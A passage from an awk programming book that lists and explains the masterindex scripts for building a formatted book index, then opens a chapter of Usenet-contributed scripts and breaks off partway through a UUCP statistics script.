   # Conditionals to compare keys of current record to previous
   #  record.  If Primary and Secondary keys are the same, only
   #  the page number is printed.

   # test to see if each PRIMARY key matches previous key
    if (PRIMARY == prevPrimary) {
    # test to see if each SECONDARY key matches previous key
        if (SECONDARY == prevSecondary)
        # test to see if VOLUME matches;
        # print only VOLUME:PAGE
            if (VOLUME == prevVolume)
                printf (",%s", PAGE)
            else {
                printf ("; ")
                volpage(VOLUME, PAGE)
            }
        else{
        # if array of See Alsos, output them now
            if (eachSeeAlso) outputSeeAlso(2)
        # print PRIMARY:SECONDARY:VOLUME:PAGE
            printf ("\n%s:%s:", PRIMARY, SECONDARY)
            volpage(VOLUME, PAGE)
        }
    } # end of test for PRIMARY == prev
    else { # PRIMARY != prev
        # if we have an array of See Alsos, output them now
        if (eachSeeAlso) outputSeeAlso(1)
        if (NR != 1)
            printf ("\n")
        if (NF == 1){
            printf ("%s:", $0)
        }
        else {
            printf ("%s:%s:", PRIMARY, SECONDARY)
            volpage(VOLUME, PAGE)
        }
    }
       prevPrimary = PRIMARY
    prevSecondary = SECONDARY
    prevVolume = VOLUME

} # end of main routine

# at end, print newline
END {
   # in case last entry has "see Also"
    if (eachSeeAlso) outputSeeAlso(1)
    printf("\n")
}

# outputSeeAlso function -- list elements of seeAlsoList
function outputSeeAlso(LEVEL) {
    # LEVEL - indicates which key we need to output
    if (LEVEL == 1)
        printf ("\n%s:(See also ", prevPrimary)
    else {
        sub(/;.*$/, "", prevSecondary)
        printf ("\n%s:%s; (See also ", prevPrimary, prevSecondary)
    }
    sub(/; $/, ".):", seeAlsoList[eachSeeAlso])
    for (i = 1; i <= eachSeeAlso; ++i)
        printf ("%s", seeAlsoList[i])
    eachSeeAlso = 0
}

# volpage function -- determine whether or not to print volume info
# 	two args: volume & page

function volpage(v, p)
{
   # if VOLUME is empty then print PAGE only
    if ( v == "" )
        printf ("%s", p)
    else
   # otherwise print VOLUME^PAGE
        printf ("%s^%s",v, p)
}

Remember, first of all, that the input to the program is sorted by its keys. The page numbers are also in order, such that an entry for "graphics" on page 7 appears in the input before one on page 10. Similarly, entries for Volume I appear in the input before Volume II. Therefore, this program need do no sorting; it simply compares the keys and if they are the same, appends the page number to a list. In this way, the entries are reduced.

This script also handles "see also" entries. Since the records are now sorted, we can remove the special sorting sequence "~zz." We also handle the case where we might encounter consecutive "see also" entries. We don't want to output:

Toolkit (see also Xt) (See also XView) (See also Motif).

Instead we'd like to combine them into a list such that they appear as:

Toolkit (see also Xt; XView; Motif)

To do that, we create an array named seeAlsoList. From SECONDARY, we remove the parentheses, the secondary key if it exists and the "see also" and then assign it to an element of seeAlsoList. We make a copy of SECONDARY with the secondary key and assign it to prevSecondary for making comparisons to the next entry.

The function outputSeeAlso() is called to read all the elements of the array and print them. The function volpage() is also simple and determines whether or not we need to output a volume number. Both of these functions are called from more than one place in the code, so the main reason for defining them as functions is to reduce duplication.

Here's an example of what it produces for a single-book index:

X Window System:Xlib:6
XFontStruct structure::317
Xlib::6
Xlib:repainting canvas:88
Xlib.h header file::89,294
Xv_Font type::310
XView::18
XView:about:3,7,10
XView:as object-oriented system:17

Here's an example of what it produces for a master index:

reserved names:table of:I^43
Xt:example of programming interface:I^44,65
Xt:objects; list of:I^43,58; II^40
Xt:packages:I^43,61; II^42
Xt:programs; initialization:I^45
Xt:reserved names:I^43,58
Xt:reserved prefixes:I^43,58
Xt:types:I^43,54,61

The "^" is used as a temporary delimiter between the volume number and the list of page numbers.

12.2.5 Merging Entries with the Same Keys

The pagenums.idx program reduced entries that were the same except for the page number. Now we'll to process entries that share the same primary key. We also want to look for consecutive page numbers and combine them in ranges.

The combine.idx is quite similar to the pagenums.idx script, making another pass through the index, comparing entries with the same primary key. The following pseudocode abstracts this comparison. (To make this discussion easier, we will omit tertiary keys and show how to compare primary and secondary keys.) After the entries are processed by pagenums.idx, no two entries exist that share the same primary and secondary keys. Therefore, we don't have to compare secondary keys.

PRIMARY = $1
SECONDARY = $2
PAGE = $3
if (PRIMARY == prevPRIMARY)
    print :SECONDARY:
else
    print PRIMARY:SECONDARY
prevPRIMARY = PRIMARY
prevSECONDARY = SECONDARY

If the primary keys match, we output only the secondary key. For instance, if there are three entries:

XView:18
XView:about:3, 7, 10
XView:as object-oriented system:17

they will be output as:

XView:18
:about:3, 7, 10
:as object-oriented system:17

We drop the primary key when it is the same. The actual code is a little more difficult because there are tertiary keys. We have to test primary and secondary keys to see if they are unique or the same, but we don't have to test tertiary keys. (We only need to know that they are there.)

You no doubt noticed that the above pseudocode does not output page numbers. The second role of this script is to examine page numbers and combine a list of consecutive numbers. The page numbers are a comma-separated list that can be loaded into an array, using the split() function.

To see if numbers are consecutive, we loop through the array comparing each element to 1 + the previous element.

eachpage[j-1]+1 == eachpage[j]

In other words, if adding 1 to the previous element produces the current element, then they are consecutive. The previous element becomes the first page number in the range and the current element becomes the last page in the range. This is done within a while loop until the conditional is not true, and the page numbers are not consecutive. Then we output the first page number and the last page number separated by a hyphen:

23-25

The actual code looks more complicated than this because it is called from a function that must recognize volume and page number pairs. It first has to split the volume from the list of page numbers and then it can call the function (rangeOfPages()) to process the list of numbers.

Here is the full listing of combine.idx:

#!/work/bin/nawk -f
# ------------------------------------------------
# combine.idx -- merge keys with same PRIMARY key
#		and combine consecutive page numbers
# Author:  Dale Dougherty
# Version 1.1   7/10/90
#
# input should be PRIMARY:SECONDARY:PAGELIST
# ------------------------------------------------

BEGIN   { FS = ":"; OFS = ""}
# main routine -- applies to all input lines
#  It compares the keys and merges the duplicates.
{
   # assign first field
    PRIMARY=$1
   # split second field, getting SEC and TERT keys.
    sizeOfArray = split($2, array, ";")
    SECONDARY = array[1]
    TERTIARY = array[2]
   # test that tertiary key exists
    if (sizeOfArray > 1) {
    # tertiary key exists
        isTertiary = 1
    # two cases where ";" might turn up
    # check SEC key for list of "see also"
        if (SECONDARY ~ /\([sS]ee also/){
            SECONDARY = $2
            isTertiary = 0
        }
    # check TERT key for "see also"
        if (TERTIARY ~ /\([sS]ee also/){
            TERTIARY = substr($2, (index($2, ";") + 1))
        }
    }
    else # tertiary key does not exist
        isTertiary = 0
   # assign third field
    PAGELIST = $3

   # Conditional to compare primary key of this entry to that
   #  of previous entry. Then compare secondary keys.  This
   #  determines which non-duplicate keys to output.
    if (PRIMARY == prevPrimary) {
        if (isTertiary && SECONDARY == prevSecondary)
            printf (";\n::%s", TERTIARY)
        else
            if (isTertiary)
                printf ("\n:%s; %s", SECONDARY, TERTIARY)
            else
                printf ("\n:%s", SECONDARY)
     }
     else {
        if (NR != 1)
            printf ("\n")
        if ($2 != "")
            printf ("%s:%s", PRIMARY, $2)
        else
            printf ("%s", PRIMARY)

        prevPrimary = PRIMARY
    }

    prevSecondary = SECONDARY
} # end of main procedure

# routine for "See" entries (primary key only)
NF == 1 { printf ("\n") }

# routine for all other entries
#  It handles output of the page number.

NF > 1  {
    if (PAGELIST)
    # calls function numrange() to look for
     # consecutive page numbers.
        printf (":%s", numrange(PAGELIST))
    else
        if (! isTertiary || (TERTIARY && SECONDARY)) printf (":")

} # end of NF > 1

# END procedure outputs newline
END {  printf ("\n") }

# Supporting Functions

# numrange -- read list of Volume^Page numbers, detach Volume
#		from Page for each Volume and call rangeOfPages
#		to combine consecutive page numbers in the list.
#	PAGE = volumes separated by semicolons; volume and page
#		separated by ^.

function numrange(PAGE,     listOfPages, sizeOfArray)
{
  # Split up list by volume.
    sizeOfArray = split(PAGE, howManyVolumes,";")
  # Check to see if more than 1 volume.
    if (sizeOfArray > 1) {

    # if more than 1 volume, loop through list
        for (i = 1; i <= sizeOfArray; ++i) {
        # for each Volume^Page element, detach Volume
        # and call rangeOfPages function on Page to
        # separate page numbers and compare to find
        # consecutive numbers.
            if (split(howManyVolumes[i],volPage,"^") == 2)
                listOfPages = volPage[1] "^"
                   rangeOfPages(volPage[2])
        # collect output in listOfPages
            if (i == 1)
                result = listOfPages
            else
                result=result ";" listOfPages
        } # end for loop
    }
    else { # not more than 1 volume

    # check for single volume index with volume number
    # if so, detach volume number.
    # Both call rangeOfPages on the list of page numbers.
        if (split(PAGE,volPage,"^") == 2 )
        # if Volume^Page, detach volume and then call rangeOfPages
            listOfPages = volPage[1] "^" rangeOfPages(volPage[2])
        else # No volume number involved
            listOfPages = rangeOfPages(volPage[1])
        result = listOfPages
    } # end of else

    return result  # Volume^Page list

} # End of numrange function

# rangeOfPages -- read list of comma-separated page numbers,
#		load them into an array, and compare each one
#		to the next, looking for consecutive numbers.
#	PAGENUMBERS = comma-separated list of page numbers

function rangeOfPages(PAGENUMBERS, pagesAll, sizeOfArray,pages,
                       listOfPages, d, p, j) {
   # close-up space on troff-generated ranges
    gsub(/ - /, ",-", PAGENUMBERS)

   # split list up into eachpage array.
    sizeOfArray = split(PAGENUMBERS, eachpage, ",")
   # if more than 1 page number
    if (sizeOfArray > 1){
    # for each page number, compare it to previous number + 1
        p = 0  # flag indicates assignment to pagesAll
    # for loop starts at 2
        for (j = 2; j-1 <= sizeOfArray; ++j) {
        # start by saving first page in sequence (firstpage)
        # and loop until we find last page (lastpage)
            firstpage = eachpage[j-1]
            d = 0  # flag indicates consecutive numbers found
        # loop while page numbers are consecutive
            while ((eachpage[j-1]+1) == eachpage[j] ||
                    eachpage[j] ~ /^-/) {
            # remove "-" from troff-generated range
                if (eachpage[j] ~ /^-/) {
                    sub(/^-/, "", eachpage[j])
                }
                lastpage = eachpage[j]
            # increment counters
                ++d
                ++j
            } # end of while loop
        # use values of firstpage and lastpage to make range.
            if (d >= 1) {
            # there is a range
                pages = firstpage "-" lastpage
            }
            else # no range; only read firstpage
                pages = firstpage
        # assign range to pagesAll
            if (p == 0) {
                pagesAll = pages
                p = 1
            }
            else {
                pagesAll = pagesAll "," pages
            }
        }# end of for loop

    # assign pagesAll to listOfPages
        listOfPages = pagesAll

    } # end of sizeOfArray > 1

    else # only one page
        listOfPages = PAGENUMBERS

   # add space following comma
    gsub(/,/, ", ", listOfPages)
   # return changed list of page numbers
    return listOfPages
} # End of rangeOfPages function

This script consists of minimal BEGIN and END procedures. The main routine does the work of comparing primary and secondary keys. The first part of this routine assigns the fields to variables. The second field contains the secondary and tertiary keys and we use split() to separate them. Then we test that there is a tertiary key and set the flag isTertiary to either 1 or 0.

The next part of the main procedure contains the conditional expressions that look for identical keys. As we said in our discussion of the pseudocode for this part of the program, entries with wholly identical keys have already been removed by the pagenums.idx.

The conditionals in this procedure determine what keys to output based on whether or not each is unique. If the primary key is unique, it is output, along with the rest of the entry. If the primary key matches the previous key, we compare secondary keys. If the secondary key is unique, then it is output, along with the rest of the entry. If the primary key matches the previous primary key, and the secondary key matches the previous secondary key, then the tertiary key must be unique. Then we only output the tertiary key, leaving the primary and secondary keys blank.

The different forms are shown below:

primary
primary:secondary
:secondary
:secondary:tertiary
::tertiary
primary:secondary:tertiary

The main procedure is followed by two additional routines. The first of them is executed only when NF equals one. It deals with the first of the forms on the list above. That is, there is no page number so we must output a newline to finish the entry.

The second procedure deals with all entries that have page numbers. This is the procedure where we call a function to take apart the list of page numbers and look for consecutive pages. It calls the numrange() function, whose main purpose is to deal with a multivolume index where a list of page numbers might look like:

I^35,55; II^200

This function calls split() using a semicolon delimiter to separate each volume. Then we call split() using a "^" delimiter to detach the volume number from the list of page numbers. Once we have the list of pages, we call a second function rangeOfPages() to look for consecutive numbers. On a single-book index, such as the sample shown in this chapter, the numrange() function really does nothing but call rangeOfPages(). We discussed the meat of the rangeOfPages() function earlier. The eachpage array is created and a while loop is used to go through the array comparing an element to the one previous. This function returns the list of pages.

Sample output from this program follows:

Xlib:6
:repainting canvas:88
Xlib.h header file:89, 294
Xv_Font type:310
XView:18
:about:3, 7, 10
:as object-oriented system:17
:compiling programs:41
:concept of windows differs from X:25
:data types;  table of:20
:example of programming interface:44
:frames and subframes:26
:generic functions:21
:Generic Object:18, 24
:libraries:42
:notification:10, 35
:objects:23-24;
:: table of:20;
:: list of:43
:packages:18, 43
:programmer's model:17-23
:programming interface:41
:programs;  initialization:45
:reserved names:43
:reserved prefixes:43
:structure of applications:41
:subwindows:28
:types:43
:window objects:25

In particular, notice the entry for "objects" under "XView." This is an example of a secondary key with multiple tertiary keys. It is also an example of an entry with a consecutive page range.

12.2.6 Formatting the Index

The previous scripts have done nearly all of the processing, leaving the list of entries in good order. The format.idx script, probably the easiest of the scripts, reads the list of entries and generates a report in two different formats, one for display on a terminal screen and one to send to troff for printing on a laser printer. Perhaps the only difficulty is that we output the entries grouped by each letter of the alphabet.

A command-line argument sets the variable FMT that determines which of the two output formats is to be used.

Here's the full listing for format.idx:

#!/work/bin/nawk -f
# ------------------------------------------------
# format.idx -- prepare formatted index
# Author:  Dale Dougherty
# Version 1.1   7/10/90
#
# input should be PRIMARY:SECONDARY:PAGE:VOLUME
# Args:  FMT = 0 (default) format for screen
#        FMT = 1 output with troff macros
#        MACDIR = pathname of index troff macro file
# ------------------------------------------------
BEGIN {		FS = ":"
        upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        lower = "abcdefghijklmnopqrstuvwxyz"
}

# Output initial macros if troff FMT
NR == 1 && FMT == 1 {
        if (MACDIR)
            printf (".so %s/indexmacs\n", MACDIR)
        else
            printf (".so indexmacs\n")
        printf (".Se \"\" \"Index\"\n")
        printf (".XC\n")
} # end of NR == 1

# main routine - apply to all lines
# determine which fields to output
{
   # convert octal colon to "literal" colon
   # make sub for each field, not $0, so that fields are not parsed
    gsub(/\\72/, ":", $1)
    gsub(/\\72/, ":", $2)
    gsub(/\\72/, ":", $3)

   # assign field to variables
    PRIMARY = $1
    SECONDARY = $2
    TERTIARY = ""
    PAGE = $3
    if (NF == 2) {
        SECONDARY = ""
        PAGE = $2
    }
   # Look for empty fields to determine what to output
    if (! PRIMARY) {
        if (! SECONDARY) {
            TERTIARY = $3
            PAGE = $4
            if (FMT == 1)
                printf (".XF 3 \"%s", TERTIARY)
            else
                printf ("  %s", TERTIARY)
        }
        else
                if (FMT == 1)
                    printf (".XF 2 \"%s", SECONDARY)
                else
                    printf ("  %s", SECONDARY)
    }
    else { # if primary entry exists
         # extract first char of primary entry
        firstChar = substr($1, 1, 1)
         # see if it is in lower string.
        char = index(lower, firstChar)
         # char is an index to lower or upper letter
        if (char == 0)  {
        # if char not found, see if it is upper
            char = index(upper, firstChar)
            if (char == 0)
                char = prevChar
        }
        # if new char, then start group for new letter of alphabet
        if (char != prevChar) {
            if (FMT == 1)
                printf(".XF A \"%s\"\n", substr(upper, char, 1))
            else
                printf("\n\t\t%s\n", substr(upper, char, 1))
            prevChar = char
        }
        # now output primary and secondary entry
        if (FMT == 1)
            if (SECONDARY)
                printf (".XF 1 \"%s\" \"%s", PRIMARY, SECONDARY)
            else
                printf (".XF 1 \"%s\" \"", PRIMARY)
        else
            if (SECONDARY)
                printf ("%s, %s", PRIMARY, SECONDARY)
            else
                printf ("%s", PRIMARY)
    }

   # if page number, call pageChg to replace "^" with ":"
   # for multi-volume page lists.
    if (PAGE) {
        if (FMT == 1) {
            # added to omit comma after bold entry
            if (! SECONDARY && ! TERTIARY)
                printf ("%s\"", pageChg(PAGE))
            else
                printf (", %s\"", pageChg(PAGE))
        }
        else
            printf (", %s", pageChg(PAGE))
    }
    else if (FMT == 1)
        printf("\"")

    printf ("\n")

} # End of main routine

# Supporting function

# pageChg -- convert "^" to ":" in list of volume^page
#	Arg: pagelist -- list of numbers

function pageChg(pagelist) {
     gsub(/\^/, ":", pagelist)
     if (FMT == 1) {
        gsub(/[1-9]+\*/, "\\fB&\\P", pagelist)
        gsub(/\*/, "", pagelist)
    }
    return pagelist
}# End of pageChg function

The BEGIN procedure defines the field separator and the strings upper and lower. The next procedure is one that outputs the name of the file that contains the troff index macro definitions. The name of the macro directory can be set from the command line as the second argument.

The main procedure begins by converting the "hidden" colon to a literal colon. Note that we apply the gsub() function to each field rather than the entire line because doing the latter would cause the line to be reevaluated and the current order of fields would be disturbed.

Next we assign the fields to variables and then test to see whether the field is empty. If the primary key is not defined, then we see if the secondary key is defined. If it is, we output it. If it is not, then we output a tertiary key. If the primary key is defined, then we extract its first character and then see if we find it in the lower string.

firstChar = substr($1, 1, 1)

char = index(lower, firstChar)

The char variable holds the position of the letter in the string. If this number is greater than or equal to 1, then we also have an index into the upper string. We compare each entry and while char and prevChar are the same, the current letter of the alphabet is unchanged. Once they differ, first we check for the letter in the upper string. If char is a new letter, we output a centered string that identifies that letter of the alphabet.

Then we look at outputting the primary and secondary entries. Finally, the list of page numbers is output, after calling the pageChg() function to replace the "^" in volume-page references with a colon.

Sample screen output produced by format.idx is shown below:

            X
X Protocol, 6
X Window System, events, 84
  extensibility, 9
  interclient communications, 9
  overview, 3
  protocol, 6
  role of window manager, 9
  server and client relationship, 5
  software hierarchy, 6
  toolkits, 7
  X Window ID for paint window, 87
  Xlib, 6
XFontStruct structure, 317
Xlib, 6
  repainting canvas, 88
Xlib.h header file, 89, 294
Xv_Font type, 310
XView, 18
  about, 3, 7, 10
  as object-oriented system, 17
  compiling programs, 41
  concept of windows differs from X, 25
  data types;  table of, 20
  example of programming interface, 44
  frames and subframes, 26
  generic functions, 21
  Generic Object, 18, 24

Sample troff output produced by format.idx is shown below:

.XF A "X"
.XF 1 "X Protocol" "6"
.XF 1 "X Window System" "events, 84"
.XF 2 "extensibility, 9"
.XF 2 "interclient communications, 9"
.XF 2 "overview, 3"
.XF 2 "protocol, 6"
.XF 2 "role of window manager, 9"
.XF 2 "server and client relationship, 5"
.XF 2 "software hierarchy, 6"
.XF 2 "toolkits, 7"
.XF 2 "X Window ID for paint window, 87"
.XF 2 "Xlib, 6"
.XF 1 "XFontStruct structure" "317"
.XF 1 "Xlib" "6"
.XF 2 "repainting canvas, 88"
.XF 1 "Xlib.h header file" "89, 294"
.XF 1 "Xv_Font type" "310"
.XF 1 "XView" "18"
.XF 2 "about, 3, 7, 10"
.XF 2 "as object-oriented system, 17"

This output must be formatted by troff to produce a printed version of the index. The index of this book was originally done using the masterindex program.

12.2.6.1 The masterindex shell script

The masterindex shell script is the glue that holds all of these scripts together and invokes them with the proper options based on the user's command line. For instance, the user enters:

$ masterindex -s -m volume1 volume2

to specify that a master index be created from the files volume1 and volume2 and that the output be sent to the screen.

The masterindex shell script is presented in Appendix C with the documentation.

Previous: 12.1 An Interactive Spelling Checker | sed & awk | Next: 12.3 Spare Details of the masterindex Program
12.1 An Interactive Spelling Checker | Book Index | 12.3 Spare Details of the masterindex Program
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.3 Spare Details of the masterindex Program

sed & awk

sed & awkSearch this book
Previous: 12.2 Generating a Formatted Index Chapter 12
Full-Featured Applications 		Next: 13. A Miscellany of Scripts

12.3 Spare Details of the masterindex Program

This section presents a few interesting details of the masterindex program that might otherwise escape attention. The purpose of this section is to extract some interesting program fragments and show how they solve a particular problem.

12.3.1 How to Hide a Special Character

Our first fragment is from the input.idx script, whose job it is to standardize the index entries before they are sorted. This program takes as its input a record consisting of two tab-separated fields: the index entry and its page number. A colon is used as part of the syntax for indicating the parts of an index entry.

Because the program uses a colon as a special character, we must provide a way to pass a literal colon through the program. To do this, we allow the indexer to specify two consecutive colons in the input. However, we can't simply convert the sequence to a literal colon because the rest of the program modules called by masterindex read three colon-separated fields. The solution is to convert the colon to its octal value using the gsub() function.

#< from input.idx
# convert literal colon to octal value
$1 ~ /::/ {
        # substitute octal value for "::"
        gsub(/::/, "\\72", $1)

"\\72" represents the octal value of a colon. (You can find this value by scanning a table of hexadecimal and octal equivalents in the file /usr/pub/ascii.) In the last program module, we use gsub() to convert the octal value back to a colon. Here's the code from format.idx.

#< from format.idx
# convert octal colon to "literal" colon
# make sub for each field, not $0, so that fields are not parsed
        gsub(/\\72/, ":", $1)
        gsub(/\\72/, ":", $2)
        gsub(/\\72/, ":", $3)

The first thing you notice is that we make this substitution for each of the three fields separately, instead of having one substitution command that operates on $0. The reason for this is that the input fields are colon-separated. When awk scans an input line, it breaks the line into fields. If you change the contents of $0 at any point in the script, awk will reevaluate the value of $0 and parse the line into fields again. Thus, if you have three fields prior to making the substitution, and the substitution makes one change, adding a colon to $0, then awk will recognize four fields. By doing the substitution for each field, we avoid having the line parsed again into fields.

12.3.2 Rotating Two Parts

Above we talked about the colon syntax for separating the primary and secondary keys. With some kinds of entries, it makes sense to classify the item under its secondary key as well. For instance, we might have a group of program statements or user commands, such as "sed command." The indexer might create two entries: one for "sed command" and one for "command: sed." To make coding this kind of entry easier, we implemented a coding convention that uses a tilde (~) character to mark the two parts of this entry so that the first and second part can be swapped to create the second entry automatically.[5] Thus, coding the following index entry

[5] The idea of rotating index entries was derived from The AWK Programming Language. There, however, an entry is automatically rotated where a blank is found; the tilde is used to prevent a rotation by "filling in" the space. Rather than have rotation be the default action, we use a different coding convention, where the tilde indicates where the rotation should occur.

.XX "sed~command"

produces two entries:

sed command	 43
command: sed	 43

Here's the code that rotates entries.

#< from input.idx
# Match entries that need rotating that contain a single tilde
$1 ~ /~/ && $1 !~ /~~/ {
    # split first field into array named subfield
    n = split($1, subfield, "~")
    if (n == 2) {
    # print entry without "~" and then rotated
        printf("%s %s::%s\n", subfield[1], subfield[2], $2)
        printf("%s:%s:%s\n", subfield[2], subfield[1], $2)
    }
        next
}

The pattern-matching rule matches any entry containing a tilde but not two consecutive tildes, which indicate a literal tilde. The procedure uses the split() function to break the first field into two "subfields." This gives us two substrings, one before and one after the tilde. The original entry is output and then the rotated entry is output, both using the printf statement.

Because the tilde is used as a special character, we use two consecutive tildes to represent a literal tilde in the input. The following code occurs in the program after the code that swaps the two parts of an entry.

#< from input.idx
# Match entries that contain two tildes
$1 ~ /~~/ {
    # replace ~~ with ~
    gsub(/~~/, "~", $1)
}

Unlike the colon, which retains a special meaning throughout the masterindex program, the tilde has no significance after this module so we can simply output a literal tilde.

12.3.3 Finding a Replacement

The next fragment also comes from input.idx. The problem was to look for two colons separated by text and change the second colon to a semicolon. If the input line contains

class: class initialize: (see also methods)

then the result is:

class: class initialize; (see also methods)

The problem is fairly simple to formulate - we want to change the second colon, not the first one. It is pretty easy to solve in sed because of the ability to select and recall a portion of what is matched in the replacement section (using \(...\) to surround the portion to match and \1 to recall the first portion). Lacking the same ability in awk, you have to be more clever. Here's one possible solution:

#< from input.idx
#  replace 2nd colon with semicolon
if (sub(/:.*:/, "&;", $1))
         sub(/:;/, ";", $1)

The first substitution matches the entire span between two colons. It makes a replacement with what is matched (&) followed by a semicolon. This substitution occurs within a conditional expression that evaluates the return value of the sub() function. Remember, this function returns 1 if a substitution is made - it does not return the resulting string. In other words, if we make the first substitution, then we make the second one. The second substitution replaces ":;" with ";". Because we can't make the replacement directly, we do it indirectly by making the context in which the second colon appears distinct.

12.3.4 A Function for Reporting Errors

The purpose of the input.idx program is to allow variations (or less kindly, inconsistencies) in the coding of index entries. By reducing these variations to one basic form, the other programs are made easier to write.

The other side is that if the input.idx program cannot accept an entry, it must report it to the user and drop the entry so that it does not affect the other programs. The input.idx program has a function used for error reporting called printerr(), as shown below:

function printerr (message) {
    # print message, record number and record
    printf("ERROR:%s (%d) %s\n", message, NR, $0) > "/dev/tty"
}

This function makes it easier to report errors in a standard manner. It takes as an argument a message, which is usually a string that describes the error. It outputs this message along with the record number and the record itself. The output is directed to the user's terminal "/dev/tty." This is a good practice since the standard output of the program might be, as it is in this case, directed to a pipe or to a file. We could also send the error message to standard error, like so:

print "ERROR:" message " (" NR ") "  $0 | "cat 1>&2"

This opens a pipe to cat, with cat's standard output redirected to the standard error. If you are using gawk, mawk, or the Bell Labs awk, you could instead say:

printf("ERROR:%s (%d) %s\n", message, NR, $0) > "/dev/stderr"

In the program, the printerr() function is called as follows:

printerr("No page number")

When this error occurs, the user sees the following error message:

ERROR:No page number (612) geometry management:set_values_almost

12.3.5 Handling See Also Entries

One type of index entry is a "see also." Like a "see" reference, it refers the reader to another entry. However, a "see also" entry may have a page number as well. In other words, this entry contains information of its own but refers the reader elsewhere for additional information. Here are a few sample entries.

error procedure	34
error procedure (see also XtAppSetErrorMsgHandler)	35
error procedure (see also XtAppErrorMsg)

The first entry in this sample has a page number while the last one does not. When the input.idx program finds a "see also" entry, it checks to see if a page number ($2) is supplied. If there is one, it outputs two records, the first of which is the entry without the page number and the second of which is an entry and page number without the "see also" reference.

#< input.idx
# if no page number
        if ($2 == "") {
                print $0 ":"
                next
        }
        else {
        # output two entries:
        # print See Also entry w/out page number
                print $1 ":"
        # remove See Also
                sub(/ *~zz\(see also.*$/, "", $1)
                sub(/;/, "", $1)
        # print as normal entry
                if ( $1 ~ /:/ )
                        print $1 ":" $2
                else
                        print $1 "::" $2
                next
        }

The next problem to be solved was how to get the entries sorted in the proper order. The sort program, using the options we gave it, sorted the secondary keys for "see also" entries together under "s." (The -d option causes the parenthesis to be ignored.) To change the order of the sort, we alter the sort key by adding the sequence "~zz" to the front of it.

#< input.idx
# add "~zz" for sort at end
        sub(/\([Ss]ee [Aa]lso/, "~zz(see also", $1)

The tilde is not interpreted by the sort but it helps us identify the string later when we remove it. Adding "~zz" assures us of sorting to the end of the list of secondary or tertiary keys.

The pagenums.idx script removes the sort string from "see also" entries. However, as we described earlier, we look for a series of "see also" entries for the same key and create a list. Therefore, we also remove that which is the same for all entries, and put the reference itself in an array:

#< pagenums.idx
# remove secondary key along with "~zz"
      sub(/^.*~zz\([Ss]ee +[Aa]lso */, "", SECONDARY)
      sub(/\) */, "", SECONDARY)
# assign to next element of seeAlsoList
      seeAlsoList[++eachSeeAlso] = SECONDARY "; "

There is a function that outputs the list of "see also" entries, separating each of them by a semicolon. Thus, the output of the "see also" entry by pagenums.idx looks like:

error procedure:(see also XtAppErrorMsg; XtAppSetErrorHandler.)

12.3.6 Alternative Ways to Sort

In this program, we chose not to support troff font and point size requests in index entries. If you'd like to support special escape sequences, one way to do so is shown in The AWK Programming Language. For each record, take the first field and prepend it to the record as the sort key. Now that there is a duplicate of the first field, remove the escape sequences from the sort key. Once the entries are sorted, you can remove the sort key. This process prevents the escape sequences from disturbing the sort.

Yet another way is to do something similar to what we did for "see also" entries. Because special characters are ignored in the sort, we could use the input.idx program to convert a troff font change sequence such as "\fB" to "~~~" and "\fI" to "~~~~," or any convenient escape sequence. This would get the sequence through the sort program without disturbing the sort. (This technique was used by Steve Talbott in his original indexing script.)

The only additional problem that needs to be recognized in both cases is that two entries for the same term, one with font information and one without, will be treated as different entries when one is compared to the other.

Previous: 12.2 Generating a Formatted Index | sed & awk | Next: 13. A Miscellany of Scripts
12.2 Generating a Formatted Index | Book Index | 13. A Miscellany of Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] A Miscellany of Scripts

sed & awk

sed & awkSearch this book
Previous: 12.3 Spare Details of the masterindex Program Chapter 13 Next: 13.2 phonebill - Track Phone Usage

13. A Miscellany of Scripts

Contents:
uutot.awk - Report UUCP Statistics
phonebill - Track Phone Usage
combine - Extract Multipart uuencoded Binaries
mailavg - Check Size of Mailboxes
adj - Adjust Lines for Text Files
readsource - Format Program Source Files for troff
gent - Get a termcap Entry
plpr - lpr Preprocessor
transpose - Perform a Matrix Transposition
m1 - Simple Macro Processor

This chapter contains a miscellany of scripts contributed by Usenet users. Each program is introduced with a brief description by the program's author. Our comments are placed inside brackets [like this]. Then the full program listing is shown. If the author did not supply an example, we generate one and describe it after the listing. Finally, in a section called "Program Notes," we talk briefly about the program, highlighting some interesting points. Here is a summary of the scripts:

uutot.awk

Report UUCP statistics.

phonebill

Track phone usage.

combine

Extract multipart uuencoded binaries.

mailavg

Check size of mailboxes.

adj

Adjust lines for text files.

readsource

Format program source files for troff.

gent

Get a termcap entry.

plpr

lpr preprocessor.

transpose

Perform a matrix transposition.

m1

A very simple macro processor.

13.1 uutot.awk - Report UUCP Statistics

Contributed by Roger A. Cornelius

Here's something I wrote in nawk in response to all the C versions of the same thing which were posted to alt.sources awhile back. Basically, it summarizes statistics of uucp connections (connect time, throughput, files transmitted, etc.). It only supports HDB-style log files, but will show statistics on a site-by-site, or on an overall (all sites), basis. [It also works with /usr/spool/uucp/SYSLOG.]

I use a shell wrapper which calls "awk -f" to run this, but it's not necessary. Usage information is in the header. (Sorry about the lack of comments.)

# @(#) uutot.awk - display uucp statistics - requires new awk
# @(#) Usage:awk -f uutot.awk [site ...] /usr/spool/uucp/.Admin/xferstats
# Author: Roger A. Cornelius (rac@sherpa.uucp)

#       dosome[];               # site names to work for - all if not set
#       remote[];               # array of site names
#       bytes[];                # bytes xmitted by site
#       time[];	               # time spent by site
#       files[];                # files xmitted by site
BEGIN {
    doall = 1;
    if (ARGC > 2) {
        doall = 0;
        for (i = 1; i < ARGC-1; i++) {
            dosome[ ARGV[i] ];
            ARGV[i] = "";
        }
    }

    kbyte = 1024	# 1000 if you're not picky
    bang = "!";
    sending = "->";
    xmitting = "->" "|" "<-";

    hdr1 = "Remote     K-Bytes   K-Bytes   K-Bytes " \
        "Hr:Mn:Sc Hr:Mn:Sc AvCPS AvCPS    #    #\n";
    hdr2 = "SiteName      Recv      Xmit     Total     " \
        "Recv     Xmit  Recv  Xmit Recv Xmit\n";
    hdr3 = "-------- --------- --------- --------- -------- " \
        "-------- ----- ----- ---- ----";
    fmt1 = "%-8.8s %9.3f %9.3f %9.3f %2d:%02d:%02.0f " \
        "%2d:%02d:%02.0f %5.0f %5.0f %4d %4d\n";
    fmt2 = "Totals   %9.3f %9.3f %9.3f %2d:%02d:%02.0f " \
